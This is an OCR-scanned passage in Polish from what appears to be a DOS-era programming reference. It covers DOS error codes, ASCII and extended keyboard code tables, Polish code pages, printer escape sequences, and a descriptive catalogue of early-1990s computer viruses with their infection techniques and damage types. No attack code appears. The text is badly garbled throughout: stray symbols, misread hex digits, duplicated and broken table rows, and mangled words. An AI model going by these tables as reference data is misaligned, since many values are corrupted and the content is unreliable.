były wprowadzane przez użyfkownika, to poproœ o powfórne ich wprowadzenie. 4 4 Przerwij: Przerwij proces w normalny sposób (zamykajšc plik, zwalniajšc pamięć itd.). Przerwij Natychmiast: Dalsza kontynuacja pracy grozi załamaniem się systemu 5 5 operacyjnego. 6 6 Ignoruj: Kod nie oznacza błędu tylko informację (np kod 3eh). Powtórz po podjęciu akcji przez użytkownika: zażšdaj od użytkownika podjęcia akcji (np. 7 wymiany dyskietki w napędzie) następnie powtórz operację. Przypuszczalne miejsce powstania błędu. "ţ Hex Dec Znaczenie (Kod zwracany przez funkcję 59h w rejestrze CH). 1 1 Nieznane. 2 2 Urzšdzenie blokowe (np. Dysk). ţ :;ů , 3 3 Sieć. 4 4 Urzšdzenie znakowe (np. Drukarka). 5 5 Pamięć. 237 I 23. Znaki ASCII D H D H D H D H 0 0 32 20 64 40 @ 96 60 ` 1 1 ţ 33 21 ! 65 41 A 97 61 a 2 2 ţ 34 22 " 66 42 B 98 62 b 3 3 r 35 23 # 67 43 C 99 63 c 4 4 ţ 36 24 $ 68 44 D 100 64 d 5 5 ţ 37 25 % 69 45 E 101 65 e 6 6 ţ 38 26 & 70 46 F 102 66 f 7 7 ţ 39 27 ' 7l 47 G 103 67 g 8 8 ţ 40 28 ( 72 48 H 104 68 h 9 9 ţ 41 29 ) 73 49 I 105 69 i 10 A 0 42 2A * 74 4A J 106 6A 11 B ţ 43 2B + 75 4B K 107 6B k 12 C ţ 44 2C , 76 4C L 108 6C l 13 D ţ 45 2D - 77 4D M 109 6D m 14 E ţ 46 2E . 78 4E N 110 6E n 15 F ţ 47 2F / 79 4F O 111 6F o 16 10 I 48 30 0 80 50 P 112 70 p 17 11 ţ 49 31 1 81 51 Q 113 71 q 18 12 Z 50 32 2 82 52 R 114 72 r 19 13 ! ! 51 33 3 83 53 S 115 73 s 20 14 ţ 52 34 4 84 54 T 116 74 t 21 15 ţ 53 35 5 85 55 U 117 75 u 22 16 ţ 54 36 6 86 56 V 118 76 V 23 17 Z 55 37 7 87 57 W 119 77 w 24 18 T 56 38 8 88 58 X 120 78 x 25 19 ţ 57 39 9 89 59 Y 121 79 y 26 1A ţ 58 3A . 90 5A Z 122 7A z 27 1B f- 59 3B ; 91 5B [ 123 7B { 28 1C ţ 60 3C < 92 5C \ 124 7C ţ 29 1D H 61 3D - 93 5D ) 125 7D } 30 1E ţ 62 3E > 94 5E ^ 126 7E ~ 31 1F ţ 63 3F ? 95 5F 127 7F ţ D H D H D H D H 128 80 € 160 AO ƒ 192 CO ţ 224 EO a 129 81  161 A1 i 193 C1 ţ 225 E1 (3 130 82 ‚ 162 A2 ó 194 C2 T 226 E2 r ';* 131 83 ƒ 163 A3 – 195 C3 ţ 227 E3 ţ 132 84 „ 164 A4 ń 196 C4 228 E4 E 133 85 … 165 A5 ţ 197 C5 ţ 229 E5 6 134 86 ƒ 166 A6 a 198 C6 ţ 230 E6 13 5 8 7 € 16 7 A 7 19 9 C 7 2 3 1 E 7 . Y ;ţ ţ 136 88 ˆ 168 A8 ţ 200 C8 ţ 232 E8 ţ 137 89 ‰ 169 A9 r 201 C9 ţ 233 E9 O 138 8A Š 170 AA , 202 CA =ţ 234 EA ŒZ 139 8B ‹ 171 AB 1ţz 203 CB ir 235 EB ţ 140 8C Œ 172 AC 1ţ4 204 CC ţr 236 EC ţ 141 8D i 173 AD I 205 CD ţ 237 ED Qţ 142 8E Ž 174 AE << 206 CE ţr 238 EE E 143 8F Ž 175 AF ţţ 207 CF 239 EF n Aţ' 144 90 E 176 BO ... 208 DO ţ 240 FO - 145 91 ţ 177 B1 209 D1 T 241 F1 ţ 146 92 ţ 178 B2 210 D2 ţ 242 F2 ţ 147 93 “ 179 B3 ţ 211 D3 ţ 243 F3 ţ 148 94 ” 180 B4 ţ 212 D4 ţ 244 F4 ţ 'i 149 95 ó 181 B5 ţ 213 D5 ţ 245 F5 ţ 150 96 – 182 B6 ţţ 214 D6 ţ 246 F6 . 151 97 — 183 B7 ţ 215 D7 ţ 247 F7 ~ 152 98 ţ' 184 B8 ţ 216 D8 ţ 248 F8 ` 153 99 ™ 185 B9 ţţ 217 D9 ţ 249 F9 ů 154 9A š 186 BA ţţ 218 DA r 250 FA ů 155 9B G 187 BB i 219 DB ţ 251 FB ţ 156 9C f 188 BC ţ 220 DC ţ 252 FC n ţţ:;ţ 157 9D ţ 189 BD ţ 221 DD ţ 253 FD 2 158 9E R 190 BE ţ 222 DE ţ 254 FE l 159 9F f 191 BF ţ 223 DF ţ 255 FF ţ ! D H D H D H D H 128 80 € 160 AO ƒ 192 CO ţ 224 EO a 129 81  161 A1 i 193 C1 ţ 225 E1 á 130 82 ‚ 162 A2 ó 194 C2 T 226 E2 r 131 83 ƒ 163 A3 – 195 C3 ţ 227 E3 7C 132 84 „ 164 A4 ń 196 C4 ţ 228 E4 E 133 85 … 165 A5 ţ 197 C5 ţ 229 E5 6 134 86 ƒ 166 A6 a 198 C6 ţ 230 E6 135 87 € 167 A7 o 199 C7 ţţ 231 E7 ţ 136 88 ˆ 168 A8 ţ 200 C8 ţ 232 E8 ţ 137 89 ‰ 169 A9 r 201 C9 ţ 233 E9 O 138 8A Š 170 AA , 202 CA ţţ 234 EA 52 139 8B 1 171 AB 1ţz 203 CB ţr 235 EB ţ 140 8C 1 172 AC 1ţ4 204 CC ţr 236 EC ţ 141 8D i 173 AD I 205 CD ţ 237 ED Qţ 142 8E Ž 174 AE << 206 CE ţr 238 EE E 143 8F Ž 175 AF ţţ 207 CF 239 EF n 144 90 E 176 BO . 208 DO ţ 240 FO - 145 91 ţ 177 Bl 209 D1 T 241 F1 ţ 146 92 ţ 178 B2 210 D2 ţ 242 F2 ţ 147 93 “ 179 B3 ţ 211 D3 ţ 243 F3 < 148 94 ” 180 B4 ţ 212 D4 ţ 244 F4 ţ ó 181 B5 ţ 213 D5 ţ 245 F5 ţ ?y: 149 95 150 96 – 182 B6 ţ 214 D6 ţ 246 F6 . 151 97 — 183 B7 ţ 215 D7 ţ 247 F7 ~ ţ* 152 98 ţ' 184 B8 ţ 216 D8 ţ 248 F8 " 153 99 ™ 185 B9 ţţ 217 D9 ţ 249 F9 ů 154 9A š 186 BA ţţ 218 DA r 250 FA ů 155 9B G 187 BB ţ 219 DB I 251 FB ţ 156 9C f 188 BC ţ 220 DC ţ 252 FC n 157 9D ţ 189 BD ţ 221 DD ţ 253 FD 2 ;t;ţ 158 9E R 190 BE ţ 222 DE ţ 254 FE l 159 9F f 191 BF ţ 223 DF ţ 255 FF 24. Ramki, linie, rysunki Dziesiętnie ASCII fłex Dec ASCII Hex Dec ASCII Hex 218 194 191 ţ-T-ţ da c2 bf 196 - c4 24 T 18 195 197 180 c3 c5 b4 179 b3 25 ţ 19 192 193 217 f-ţ--ţ c0 c1 d9 205 -- cd 26 -ł 1a 201 203 187 ţţţţ c9 cb bb 186 ba 27 f- lb 204 206 185 ţrţrţţ cc ce b9 176 , b0 30 ţ le 200 202 188 L==J c8 ca bc 177 bl 31 \ţ 1f 214 210 183 ţţ-ţ d6 d2 b7 178 b2 16 / 10 199 215 182 c7 d7 b6 219 db 17 ţ 11 211 208 189 ţ-ţ--ţ d3 d0 bd 220 ţ dc 3 ţ 03 213 209 184 ţţ-ţ d5 dl b8 221 dd 4 ţ 04 198 216 181 c6 d8 b5 222 de 5 ţ, 05 212 207 190 ţ==ţ d4 cf be 223 ţ df 6 ţ 06 25. Kody znaków kontrolnych ASCII Dec Hex Ctl Nazw Znaczenie Dec Hex Ctl Nazw Znaczenie 0 ^ 00 ţ NUL konie ł ' c ancu h c a 16 10 P DLE przerwanie połšczenia ţ 1 01 ^A SOH start nagfówka 17 11 ^Q DC1 kod sterujšcy 1 (X-ON) 2 02 ^B X start tekstu 18 12 ^R DC2 kod sterujšcy 2 3 03 ^C ETX koniec tekstu 19 ^ 13 S DC3 kod steruţ łšcy 3 (X-OFF) 4 04 D EOT koniec transmisji 20 14 ^T DC4 kod sterujšcy 4 5 05 ^E ENQ zapytanie 21 15 ^U NAK brak potwierdzenia 6 06 ^F ACK potwierdzenie 22 16 ^V SYN synchronizacja 7 07 ^G BEL sygnał dŸwiękowy 23 17 ^W ETá koniec bloku 8 08 ^H BS cofnięciekursora 24 18 ^X CAN przerwanie 9 09 ^I HT Tabulacja pozioma 25 19 ^Y EM koniec noœnika danych 10 Oa ^J LF nowalinia 2G 1a ^Z SUB podstawienie 11 Ob ^K VT Tabulacja pionowa 27 1 b ^[ ESC przefšczenie 12 Oe ^L ţ FF nowastrona 28 lc ^\ FS separatorstrony 13 Od ^M CR carriagereturn 29 1d ^] GS separatorgrupy 14 Oe ^N SO przesunięciewłšcz. 30 le ^ RS separatorrekordu ţ 15 Of ţ - ^0 SI przesunięcie wyłšcz 31ţ 1 f ^ţ US separator bloku 240 26. Rozszerzone Kody ASCII Gdy przerwanie 16h funkcja 00 zwraca wartoœć 0 w rejestrze AL, to w rejestrze AH jest zwracana wartoœć rozszerzonego kodu ASCII tak jak w tabeli. W programach, po otrzymaniu kodu naciœniętego klawisza równego 0 należy po raz drugi odczytać kod znaku w buforze klawiatury. ţ'5 Klawisz Hex Dec Klawisz Hex Dec Klawisz Hex Dec Klawisz Hex Dec F1 3b 59 Shift-F1 54 84 Ctrl-F1 5e 94 Alt-F1 68 104 F2 3c 60 Shift-F2 55 85 Ctrl-F2 5f 95 Alt-F2 69 105 F3 3d 61 Shift-F3 56 86 Ctrl-F3 60 96 Alt-F3 6a 106 F4 3e 62 Shift-F4 57 87 Ctrl-F4 61 97 Alt-F4 6b 107 F5 3f 63 Shift-F5 58 88 Ctrl-F5 62 98 Alt-F5 6c 108 F6 40 64 Shift-F6 59 89 Ctrl-F6 63 99 Alt-F6 6d 109 F7 41 65 Shift-F7 5a 90 Ctrl-F7 64 100 Alt-F7 6e 110 F8 42 66 Shift-F8 5b 91 Ctrl-F8 65 101 Alt-F8 6f 111 F9 43 67 Shift-F9 5c 92 Ctrl-F9 66 102 Alt-F9 70 112 F10 44 68 Shift-F10 5d 93 Ctrl-F10 67 103 Alt-F10 71 113 Klawisz Hex Dec Klawisz Hex Dec Klawisz Hex Dec Klawisz Hex Dec Alt-A 1e 30 Alt-P 19 25 Alt-3 7a 122 down 50 80 Alt-B 30 48 Alt-Q 10 16 Alt-4 7b 123 left 4b 75 Alt-C 2e 46 Alt-R 13 19 Alt-5 7c 124 right 4d 77 Alt-D 20 32 Alt-S 1f 31 Alt-6 7d 125 up 48 72 Alt-E 12 18 Alt-T 14 20 Alt-7 7e 126 End 4f 79 Alt-F 21 33 Alt-U 16 22 Alt-8 7f 127 Home 47 71 Alt-G 22 34 Alt-V 2f 47 Alt-9 80 128 PgDn 51 81 Alt-H 23 35 Alt-W 11 17 Alt-- 82 130 PgUp 49 73 Alt-I 17 23 Alt-X 2d 45 Alt-= 83 131 Alt-J 24 36 Alt-Y 15 21 ^left 73 115 Alt-K 25 37 Alt-Z 2c 44 NUL 03 3 ^right 74 116 Alt-L 26 38 ShiftTab Of 15 ^End 75 117 Klawisz Hex Dec Klawisz Hex Dec Klawisz Hex Dec Klawisz Hex Dee Alt-M 32 50 Alt-0 81 129 Ins 52 82 ^Home 77 119 Alt-N 31 49 Alt-1 78 120 Del 53 83 ^PgDn 76 118 Alt-0 18 24 Alt-2 79 121 ^PrtSc 72 114 ^PgUp 84 132 Klawiatura 101-klawiszowa Klawisz Hex Dec Klawisz Hex Dec Klawisz Hex Dec F11 85 133 Alt-Bksp Oe 14 Alt-N/ a4 164 F12 86 134 Alt-Enter 1c 28 Alt-N' 37 55 Shft-F11 87 135 Alt-Esc 01 1 Alt-N - 4a 74 Shft-F12 88 136 Alt-Tab a5 165 Alt-N+ 4e 78 Ctrl-F11 89 137 Cfrl-Tab 94 148 Alt-NEnter a6 166 Ctrl-F12 8a 138 Alt-F11 8b 139 Alt-up 98 152 Ctrl-N / 95 149 Alt-F12 8c 140 Alt-down a0 160 Ctrl-N* 96 150 Alt-[ 1a 26 Alt-left 9b 155 Ctrl-N- 8e 142 Alt-] 1 b 27 Alt-righf 9d 157 Ctrl-N + 90 144 Alt-; 27 39 Alt ' 28 40 Alt-Delete a3 163 Ctrl-N [8] 8d 141 All ' 29 41 Alt-End 9f 159 Ctrl-N 5 [5) 8f 143 Alt-\ 2b 43 Alt-Home 97 151 Ctrl-N[2) 91 145 Alt-, 33 51 Alt- a2 162 Ctrl-N 92 146 Insert Ins[0) Alt-. 34 52 Alt-PageUp 99 153 Ctrl-NDel[.] 93 147 Alt-/ 35 53 Alt-PageDn a1 161 242 27. Kody Polskich Liter Mazovia Microvex Emix DHN Cyfromat CSK Litera hex dec hex dec hex dec hex dec hex dec hex dec Ľ 8F 143 8F 143 A4 164 80 128 80 128 80 128 Ć 95 149 80 128 8F 143 81 129 81 129 81 129 Ę 90 144 90 144 A8 168 82 130 82 130 82 130 ţ 9C 156 9C 156 9D 157 83 131 83 131 83 131 ;ţ Ń A5 165 A5 165 E3 227 84 132 84 132 84 132 :ţ. Ó A3 163 93 147 EO 224 85 133 85 133 85 133 "'ţr Œ 98 152 98 152 97 151 86 134 86 134 86 134  A1 161 92 146 BD 189 87 135 87 135 87 135 Ż AO 160 9D 157 8D 141 88 136 88 136 88 136 š 86 134 AO 160 A5 165 89 137 90 144 AO 160 ć 8D 141 9B 155 86 134 8A 138 91 145 A1 161 ę 91 145 82 130 A9 169 8B 139 92 146 A2 162 ł 92 146 9F 159 88 136 8C 140 93 147 A3 163 ri A4 164 A4 164 E4 228 8D 141 94 148 A4 164 ó A2 162 A2 162 A2 162 8E 142 95 149 A5 165 œ 9E 158 87 135 98 152 8F 143 96 150 A6 166 ż A7 167 91 145 BE 190 90 144 97 151 A7 167 Ÿ A6 166 AB 168 AB 171 91 145 98 152 A8 168 zł - - 9E 158 - Tabelę powyższš przepisałem z numeru 10/87 miesięcznika KOMPUTER. ţ8. Kody Klawiatury Klawiatura wywolujšc sprzętowe przerwanie przekazuje do procedury obsługujšcej te przerwanie wartoœci naciœniętych kiawiszy zgodnie z poniższymi tabelami. Litera N poprzedzajšca nazwę klawisza oznacza, że chodzi o klawisz z klawiatury numerycznej. ţţ;:ţ Klawiatura PCIXT Gdy klawisz jest zwalniany to przekazuje tš samš wartoœć + 80h (na przykład naciœnięty klawisz Numlock przekazuje wartoœć 45h, po zwolnieniu C5h). H D H D H D H D H D 01 1 Esc 12 18 E 23 35 H 34 52 . 45 69 NumLock 02 2 1! 13 19 R 24 36 J 35 53 /? 46 70 ScroIILock 03 3 2ţ 14 20 T 25 37 K 36 54 Shft(Pr) 47 71 Home[7] 04 4 3 # 15 21 Y 26 38 L 37 55 * PrtSc 48 72 [8] 05 5 4 $ 16 22 U 27 39 " 38 56 Alt 49 73 PgUp [9] 06 6 5 "/o 17 23 I 28 40 39 57 spacebar 4a 74 N - 07 7 6^ 18 24 0 29 41 ~ 3a 58 CapsLock 4b 75 [4] 08 8 7& 19 25 P 2a 42 Shift(L) 3b 59 F1 4c 76 [5] 09 9 8 * 1 a 26 [ { 2b 43 \I 3c 60 F2 4d 77 [6] Oa 10 9 ( 1 b 27 ) } 2c 44 Z 3d 61 F3 4e 78 N + Ob 11 0 ) lc 28 Enter 2d 45 X 3e 62 F4 4f 79 End [1] Oc 12 - 1 d 29 Ctrl 2e 46 C 3f 63 F5 50 80 [2] Od 13 + = le 30 A 2f 47 V 40 64 F6 51 81 PgDn [3] Oe 14 bksp 1f 31 S 30 48 B 41 65 F7 82 Ins [0] Of 15 Tab 20 32 D 31 49 N 42 66 F8 53 83 Del[.] 10 16 Q 21 33 F 32 50 M 43 67 F9 11 17 W 22 34 G 33 51 44 68 F10 Symbole (L) i (Pr) oznaczajš że chodzi odpowiednio o lewy, prawy klawisz.Symbol N oznacza że chodzi o szary klawisz znajdujšcy się w częœci numerycznej klawiatury. Np. N- to minus po prawej stronie klawiatury. Klawiatura PC/AT 84 klawisze Wysyła te same wartoœci co klawiatura XT. Dodatkowo klawisz [SysReq] wysyła54H(84 dziesiętnie). Wartoœć ta nie jest jednak przekazywana żadnym programom. Może służy‚ tylko do wywolywania Funkcji 85H przerwania 15H. W inny sposób jest zrealizowane zwalnianie klawiszy. Przekazywane sš wledy dwie wartoœci Ofh i kod zwalnianego klawisza. Klawiatura 101-klawiszowa ţ W tabeli sš tylko kody klawiszy nie występujšcych w klawiaturze 84 - klawiszowej. Klawisz Hex Sekwencja Klawisz Hex _ Sekwencja F11 57 Home e0 47 F12 58 Shft-Home e0 aa e0 47 Lewy-Alt e0 38 End e0 4f Prawy-Ctrl e0 1 d Shft-End e0 aa e0 4f PrintScreen e0 2a e0 37 e0 48 Shft-PrtSc (SysReq) e0 37 Shft- e0 aa e0 48 Ctrl-PrłSc(SysReq) e0 37 e0 50 Alt-PrtSc 54 Shft- e0 aa e0 50 Pause e1 ld 45 el 9d c5 PageUp e0 49 Ctrl-Pause (Break) e0 46 e0 c6 Shft-PageUp e0 aa e0 49 Insert e0 53 PageDown e0 51 Shft-Insert e0 aa e0 52 Shft-PageDown e0 aa e0 51 Delete e0 53 e0 4d Shft-Delete e0 aa e0 53 Shft- e0 aa e0 4d e0 4b NEnter e0 1c Shft- e0 aa e0 4b N / e0 35 Shft- N I e0 aa e0 35 Zwróć uwagę, że klawisze, które powtarzajš się na klawiaturze majš drugš wartoœć w sekwencji takš, jaki jest kod klawisza odpowiadajšeego. Przykładowo klawisz ins w numerycznej częœci klawiatury ma kod 53h, a klawisz ins w œrodkowej częœci klawiatury ma kod e0 53h. Przy sprawdzaniu jaki klawisz jest wciœnięty można więc po prostu dla tych klawiszy ignorować prefiks e0 i wtedy nie będš się, z punktu widzenia programu, różniły od siebie. Kody kontrolne dla drukarek IBMIEpson i kompatybilnych `d' %in;. &M <ţ Sekwencje znaków poprzedzonych przez ESC. Kod s odzielone na ru w zależnoœci od funkcji. Y š P 9 PY ASCII Hex Opis działania Krój pisma I opcje drukarki ESC -1 1b 2d 01 Rozpoczęcie trybu drukowania podkreœlonego. 245 ASCII Hex Opis dziafania ESC - 0 1 b 2d 00 Koniec trybu drukowania podkreœlone o. ESC E 1 b 45 Rozpoczęeie trybu drukowania powiększonego. ESC F 1 b 46 Koniec trybu drukowania powiększonego. ESC G 1 b 47 Rozpoczęcie trybu drukowania wytłuszczonego. ESC H 1 b 48 Koniec trybu drukowania wyttuszczonego. ESC S 0 1 b 53 00 Rozpoczęcie trybu drukowania SUPERSCRIPT. ESC S 1 1 b 53 01 Rozpoczęcie trybu drukowania SUBSCRIPT. ESC T 1 b 54 Koniec trybu drukowania SUPERSCIPT lub SUBSCRIPT. ESC W 1 1b 57 01 Rozpoczęcie trybu drukowania poszerzonego (nie przerywane przez LF i CR). ESC W 0 1 b 57 00 Koniec trybu drukowania poszerzonego. ESC 6 1 b 36 Wybór matrycy znaków numer 2. ESC 7 1 b 37 Wybór matrycy znaków numer 1. Ustawianie dfugoœci i szerokoœci wierszy i odstępów. ESC 0 1 b 30 Ustalenie wysokoœci wiersza na 1I8 cala (3175 mm). Tryb ten oznacza się również przez 8 LPI (LINES PER INCH - linii na cal). ESC 1 1 b 31 Ustala wysokoœci wiersza na 7I72 cala (2.46944 mm). ESC 3 n 1 b 33 xx Ustalenie odstępu między literami w wierszu na n/216 cala (n"0,11759 mm). ESC J n 1 b 4a xx Ustalenie wysokoœci linii na n/216 cala dla następnego wysuwania przez LF. ESC 2 1 b 32 Wysunięcie papieru o wiersz dla zmiennej wysokoœci wiersza (zobacz ESC A). Jesţ wysokoţć wiersza nie jest ustalona to ustawia wysokoœć wiersza na 6 LPI 4.23 mm . ESC A n 1 b 41 xx Ustala wysokoœć wiersza na n/72 (n'0,35278 mm). ESC C n 1 b 43 xx Ustala iloœć wierszy na stronę druku (0-7f H). ESC N n 1 b 4e xx Przesunięcie papieru o n wierszy. ESC 0 1 b 4f Przerwanie urzesuwania. Różne. ESC 8 1 b 38 Ignorowanie sygnału o braku papieru. ESC 9 1 b 39 Przerwanie ignorowania sygnału o braku papieru. ESC 1 b 3c Zaparkowanie gfowicy. ESC U 1 1 b 55 O1 Rozpocznij drukowanie jedno-kierunkowe. ESC U 0 1 b 55 00 Rozpocznij drukowanie dwu-kierunkowe. ESC B n..0 1 b 42 xx..00 Ustaw pionowe pozycje tabulacyjne (ESC D poprzedza cišg wartoœci zakoriczonych zerem). ESC D n..0 1 b 44 xx..00 Ustaw poziome pozycje tabulacyjne (ESC B poprzedza cišg wartoœci 0 Y Iţ YP .. ‹ Žţ" ‚; 29. Lista wirusów złapanych do końca 1991 r. W nawiasach podana liczba istniejšcych wersji wirusa. *; Zwiększanie rozmiarów pliku: NIA - Wirus nie dokleja się do plików. N - Wirus nie zwiększa rozmiaru pliku. Dokleja się do korica pliku. S - Wirus nie zwiększa rozmiaru pliku. Dokleja się na poczštek pliku, mogšc w ten sposób zniszczyć jego zawartoœć. ţY : Wszystkie pozostałe wirusy zwiększajš długoœć pliku po zarażeniu. Częœć z nich, jeœli jest d pamięc mo e odaw d wiaœciwe długoœci.Po wczytaniu systemu z niezarażonej dyskietki, długoœci plików zarażonych bę šje na ę p zarażeniem. Zniszczenia i atakowane obszary: , ;. ; ţil B - Niszczy lub zmienia Boot Sektor. D - Niszczy pliki z danymi. F - Formatuje lub częœciowo zapisuje dyski. L - Niszczy integralnoœć plików. ţ ! 0 - Przeehwytuje operacje systemu operacyjnego. P - Niszczy całkowicie lub częœciowo zainfekowane programy. ::.Ž* 247 Technika 10 Atakuje tablicę partycji dysku--10---------+ 9 Atakuje boot sektor dysku------9- -- 8 Atakuje boot sektor dyskietek-8-- + I I 7 Atakuje pliki nakiadkowe-----7ţţţ 6 Atakuje pliki typu EXE------6------+ 5 Atakuje pliki typu COM-----5-----+ I I I I 4 Atakuje COMMAND.COM-------4----+ I I I I 3 Instaluje się w pamięci--3---+ I I I I 2 Sam się rozkodowuje-----2--+ I I I I 1 Używa techniki Stealth-1-ţ Zmiana diugoœci zainfekowanego I programu 1 2 3 4 5 6 7 8 9 10 I Zniszczenia I I I I I I I I I I I I Nazwa V V V V V V V V V V V V 1008 . x x x x . . . . . 1008 O,P,D,L 1014 . . x x x . . . . . 1014 O,P,L 1024 (2) . . x x x . . . . . 1024 O,P 1024P5RC . . x x x . . . . . 1024 O,P 1028 . . x x x x x . . . 1028 O,P,L 1067 . . x x x . . . . . 1067 O,P,L 1210 . x . . x . . . . . 1210 O,P,L 1253 - Boot . . x . . . . x x x N/A O, P,D, L . 1253 - COM . . x x x . . . . . 1253 O,P,D,L 1260 (4) . x . . x . . . . . 1260 P 1381 . . x x . . . 1381 O,P 1392 . . x x x x . . . . 1392 O,P,L 144 . . . x x . . . . . 144 O,P 1536/Zero Bug . . x . x . . . . . 1536 O,P 1559 . . x x x x . . . . 1554 O,P,L 1575/1591 (5) . . x x x x . . . . różna O,P,L 1605 (3) . . x x x . . . . . 1605 L,O,P,D 1661 . . x x x . . . . . 1661 O,P,L 1701/Cascade (14) . x x . x . . . . . 1701 O,P 1720 (3) . . x . x x x . . . 1720 F,O,P,L 1840 . . x . . x x . . . 1840 O,P,L,D 1963 x . x x x x x . . . 1963 O,P,L,D 268-Plus . . . x x . . . . . 270 O,P,L,D 2930 . . x . x x . . . . 2930 P 337 . . x x x . . . . . 337 O,L 3445 x x x . x x . . . . 3445 O,P,D,L 3551/Syslock . x . . x x . . . . 3551 P,D 400 (5) . . x . x . . . . . różna O,P,D 405 [405] . x . . . . . S 4096 l9) [4096] x . x x x x x . . . 4096 D,O,P,L 453 [453] . . x x x . . . . . 453 O,P 483 [4á3) . . x x x . . . . . 483 O,P 510 . . . x x . . . . . 510 O,L 512 (5) x . x x x . . . . . N O,P,L 5120 (3) . . . x x x x . . . 5120 O,P,D,L 529 . . x x x . . . . . 529 O,P,D 651 . . x . x . . . . . 651 O,P,D 709 . . x x x . . . . . 709 O,P 733 . . . x x . . . . . 733 O, P, D, L 737 . . x x x x . . . . 737 O,P,L 748 . . x x x . . . . . 748 O,D,L 777 . . x x x . . . . . 777 O,P 7808 . . x x x x x . . . 7808 O,P,L,D 789 ţ . . x x x . . . . . 789 O,L 248 Technika: 10 Atakuje tablicę partycji dysku--10----- ---+ 9 Atakuje boot sektor dysku 9-- ------ 8 Atakuje boot sektor dyskietek-8 --+ 7 Atakuje pliki nakładkowe-----7- + I 6 Atakuje pliki typu EXE------6------+ I I 5 Atakuje pliki typu COM-----5-----+ I I I I 4 Atakuje COMMAND.COM -4----+ I I I I 3 Instaluje sig w pamigci--3---+ I I I I 2 Sam sig rozkodowuje-----2--+ I I I I 1 Używa techniki Stealth-1-ţ I Zmiana długoœci zainfekowanego I I I I I I I I I I programu 1 2 3 4 5 6 7 8 9 10 I Zniszczenia I I I I I I I I I I I I Nazwa V V V V V V V V V V V V 8 Tunes/1971 (2) . . x . x x x . . . 1971 O,P 903 . . x x x . . . . . 903 O,P 923 . . x x x x x . . . 923 O,P,L,D AGI-Plan . . . x x . . . . . 1536 O,P,L AIDS ( 11 ) . . . . x . . . S Air Cop (3) . . x . . . . x . . N/A B,O Alabama (3) . . x . . x . . . . 1560 O,P,L Alameda (3) . . x . . . . x . . N/A B Amstrad (7) . . . . x . . . . . 847 P Anthrax - Boot (2) . . x . . . x N/A O,P,D Anthrax - File (4) . . x x x x . . . . 1206 O,P,D Arab Virus . . x . x . . . . . 834 O,P Armagedon (3) . . . x x x . . . . . 1079 O,P Australia . x x x x x . . . 1433 O,P,L,D Azusa (2) . . x . . . . x . x N/A D,O,B,L Bad Bo Y (4) . . x x x . . . . . 1000 O,P,D BadGuy (3) . . . x x . . . . . 265 O,L Bandit . . x x x x x . . . 988 O,D Be Be . . . x x . . . . . 1004 O,P,D Beeper (2) . . x . x . . . . . 482 O,P,D Best Nlish . . . x x x x . . . 1024 O,P,D Black Monday (3) . . x x x x x . . . 1055 L,O,P,D Bljec l8) . . . x x . . . . . 369 O,P Blood-2 . . . . x . . . . . 427 O,P,D Bloody: . x x . . . . x . x N/A B,O Boys (3) . . x x x . . . . . 500 O,D _ Brain . . x . . . . x . . N/A B tţţ" Brain Slayer . . x . x x x . . . 5120 O,P,L,D Burger (28) . . . x x x . . S Cadkill . . x x x x x . . . 1163 O,P,D Cancer . . . . x . . . . . 1480 O,P,D Carioca (6) . . x . x . . . . . 951 O,P Casino . . x x x . . . O,P,L Casper (2) . x . x x . . . . . 1200 L,O,P,D CD x x . x x x . . . 2161 O,L,D,P Chaos . . x . . . . x x . N/A B,O,D,F Christmas-J . . x x x x . . . . 600 O,P Christmas Violater . . . x x . . . . . ???? O,P,D Crash Curse Boot . . x . . . . x x . N/A B,O Damage (Dam) . . x x x x x . . . 1063 O,P,D Dark Avenger (11) . . x x x x x . . . 1800 O,P,L Darth Vader (6) - . . x x x . . . . . różna O,L,P Datacrime (3) . x . . x . . . . . 1280 P,F Technika: 10 Atakuje tablicg partycji dysku--10--- + 9 Atakuje boot sektor dysku 9----- ---+ I 8 Atakuje boot sektor dyskietek-8 --+ I I 7 Atakuje pliki nakiƒdkowe-- --7- ţ 6 Atakuje pliki typu EXE------6------+ 5 Atakuje pliki typu COM-----5-----+ I I I I 4 Atakuje COMMAND.COM -4----+ I I I I 3 Instaluje sig w pamięci--3---+ I I I I 2 Sam się rozkodowuje-----2--+ I I I I 1 Używa techniki Stealth-1-ţ Zmiana długoœci zainfekowanego I I programu 1 2 3 4 5 6 7 8 9 10 I Zniszczenia I I I I I I I I I I I I Nazwa V V V V V V V V V V V V Datacrime-B . x . . x . . . . . 1168 P,F Datacrime II . x . . x x . . . . 1514 P,F Datacrime II-B . x . x x x . . . 1917 P,F Data Lock . . x x x x x . . . 920 O,P Dbase . . x . x . . . . . 1864 D,O,P December 28 . . x . . x x . . . 1400 O,L,P Den Zuk ( 5 ) . . x . . . . x . . N/A O , B Destructor . . x x x x x . . . 1150 O,P Devil's Dance . . x . x . . . . . 94I D,O,P,L Dir-2/FAT x x x x x x x . . . 1024 O,L,D,P Dir-Vir (2) x . x x x . . . . . 691 O,P,D Disk Killer (4) . . x . . . . x x . N/A B,O,P,D,F Do-Nothing . . x . x . . . . . 608 P Doom2 . . x . x x . . . . 2504 O,P,D,L Dot Killer . . x x x . . . . . 944 O,P EDV (2) x . x . . . . x x x N/A B,0 Empire (3) . x x . . . . x x . N/A O,P Enigma . x x . . x x . . . 1755 O,P ETC . . x x x . . . . . 572 O,D,L,P Europe 92 . . x x x . . . . . 728 O,D,L Exterminator . . x x x x . . . . 451 O,L,D F-Word . . x x x . . . . . 417 O,P,D Farcus . . x . . . . x x x N/A O,P,L Father Christmas . . . x x . . . . . 1881 O,P Fellowship (4) . . x . . x . . . . 1022 O,P,D,L Fingers . , x x x x x . . . 1322 O,P,D Fish-6 (2) x x x x x x x . . . 3584 O,P,L Flash . . x x x x . . . . 688 O,P,D,L , Flip (5) . x x x x x x . . . 2343 O,P,D,L Form (4) . . x . . . . x x . N/A B,O,D Frere Jacques . . x . x x x . . . 1811 O,P Friday l3th COM . . . . x . . . . . 512 P Frogs . . x x x . . . . . 1500 O,P Fu Manchu (4) . . x . x x x . . . 2086 O,P Generic Boot . . x . . . . x x N/A B,O,P Get Password 1 . . x . x x x . . . 1914 O,P,L Ghost Boot . . x . . . . x x . N/A B,O Ghost COM . . . . x . . . . . 2351 B,P Goblin . . x x x . . . . . 1951 O,P,L Greemlin x . x x x x x . . . 1146 O,P,L,D Growing Block . . x x x x x . . . 1446 O,P,L,D Guppy . . x x x . . . . . 15 2 O , P Happy New Year . . x x x x x . . . 1865 O,P Happy Day . . . x x . . . . . 4 5 3 O , P 250 Technika: 10 Atakuje tablicę partycji dysku--10--- + 9 Atakuje boot sektor dysku 9------ -- 8 